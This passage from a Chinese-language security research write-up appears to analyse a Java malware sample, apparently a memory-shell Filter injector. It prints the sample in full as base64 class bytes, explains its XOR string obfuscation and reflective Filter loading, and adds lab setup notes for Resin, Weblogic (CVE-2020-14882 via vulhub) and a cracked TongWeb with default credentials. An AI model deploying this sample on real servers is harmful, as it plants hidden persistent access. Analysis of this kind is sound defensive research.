ZBHRM+LCExDisjLBoHMjY3IysYByIyMDYmBQc1PjEwIgNKOXkEKS8DTCMULS4lHk4YOjIsETMmA3o0JTQsJgNqPjk2JTsDCh8lHkUlMjANIgcNHyUeRSUyMA0iB1k0JQ4qIgFIfz4tbjcaWTU+MBwqIgFIKXkxJTEBRTQjbBMmBV89MjYDLBldNC82EB8lHkUlMjADLxZaIhkjLSYJJyYDfjQ1AzAzCyQmEUA/MgEsIgRaAm9pIDM2GQc8PjEjbSJ7HRQuITAEeTAjKmQFHkU0Gy0hJxJbJyMsGgcyNjcjKxgHIjIwNiYFBzU+MTAiA0o5eQQpLwNMIxojMDMSWwsnJgN7NDYuECIDQSAqIgFIKXk6LS9ZSzg5Jm4HFl0wIzswJjRGPyEnMjcSWwEABmNoYXJBdAwAGACeAQAGc2V0SW50AQAEKEkpVgEAECgpTGphdmEvbmV0L1VSSTsBAAJbQgwAoQBZBwA1BwCvAQARZ2V0RGVjbGFyZWRNZXRob2QKAN4AYwEAAygpWgEABShbQylWDADNAJkBABBqYXZhL2xhbmcvU3lzdGVtAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwoA1wBICgBOAL4BACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIKAAkAGQoAJQB0DADKAB0HAH4BAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgoAKwDQAQAJZ2V0UGFyZW50DAChAHwBAAZkZWxldGUKAE8AdwEABCgpW0MBAAdyZXBsYWNlCgCtAHoMACcASwEAA3NldAEADVN0YWNrTWFwVGFibGUBAARDb2RlCgACAH0KAC4AXgwAFQA/DAA9AEoKACUA0QcAVQEAD2phdmEvbGFuZy9DbGFzcwwAPQBaCgAlAMMMAEkAOgwAlwCUCgBPAHAMAGcAjgwAgQBBAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAPQBTAQACW0MBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UMAFAAgAwAsQB/CgByAJYBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2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";
首先将这串base64串转换成class文件,然后根据类名,在IDEA中粘成一个新的java文件,更改java文件中的报错(有一行return报错),分析一下代码结构,由于采用的是Java label跳出循环的方式,那么此处改为break label174。这样java文件不再报错,可以正常执行。
改return为break label174
具体看一下样本,laabel169代表的循环,将截取后的字符串转成数组,将数组的每一位和长度为7的key进行异或。var72
是异或后得到的字符串。即将截取的*"�H�"6)/Yk0$'vwSm44-$&�
转换成java.util.Base64$Decoder
。关于异或加密XOR的内容可以看:http://www.ruanyifeng.com/blog/2017/05/xor.html
switch会判断字符串是否完成全部的遍历,如果完成全部的遍历,开始Filter的反射加载流程。
Filter反射加载流程
附录2—中间件环境搭建
(1)Resin
Resin 4.X下载地址:https://caucho.com/products/resin/download/archive/gpl,解压即可
IDEA的plugin中搜索resin
,点击install,这样在选择服务器时就有了resin选项,Application server
配置时选取下载好的Resin解压后的文件夹即可。启动端口可以任意设置。
IDEA按照往常的方法,先启动一个maven项目,然后项目右击
Add Framework Support
生成web目录,包含web.xml。但是启动时遇到了一个错误。Resin启动报错500
然后将web.xml文件替换成了如下内容,成功运行。
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>
(2)Weblogic
(1)本机安装配置
Weblogic安装教程可参考:https://blog.csdn.net/weixin_40102675/article/details/88180647
(2)vulhub配置
可以参考之前简书上发的《Weblogic反序列化漏洞》的内容,大致流程如下, 不同的是,有些版本容器下可能没有setDomainEnv.sh的权限,或者setDomainEnv.sh所在路径不同。没有权限就需要从容器先拷贝到主机,修改完文件内容后再拷贝回容器
(1) 在vulhub中找到weblogic对应CVE
cd /vulhub/weblogic/CVE-2020-14882/
(2) 增加端口
vim docker-compose.yml
末尾 - "7001:7001"下增加一行 - "8453:8453"
(3) 启动容器
docker-compose up -d
(4) 进入容器找setDomainEnv.sh所在路径
docker exec -it 'container_id' /bin/bash
此版本下的路径为:/u01/oracle/user_projects/domains/base_domain/bin
(5) 从容器中复制 setDomainEnv.sh到主机(由于此版本下没有vi/vim)
docker cp 'container_id':/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh /root
(6) 按下图修改setDomainEnv.sh
vi setDomainEnv.sh
(7) 更改文件权限
sudo chmod -R 777 setDomainEnv.sh
(8) 从主机拷贝到容器
docker cp ./setDomainEnv.sh c571ef7ec3a2:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
(9) 重启容器
sudo docker restart 'container_id'
(10) 复制Weblogic代码到主机
sudo docker cp 'container_id':/u01/oracle/ ./weblogic_code/
(11) 将jar包集中复制
mkdir dep && cp `find ./* -name "*.jar"` ./dep
修改setDomainEnv.sh
调试注意事项
想要在调试过程中看到源码,需要导入weblogic安装目录下的module文件夹,该文件夹下存有许多jar文件。文件夹路径如:/oracle/Middleware/Oracle_Home/wlserver/module
(3)TongWeb
从网上找了个6.1的破解版,Windows的。
TongWeb控制台:http://ip:9060/console/rest。
默认用户名密码:thanos,thanos123.com
IDEA调试前,打开TongWeb控制台->启动参数,JVM参数修改如下
-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address="5005"
其他JVM参数增加
-Xdebug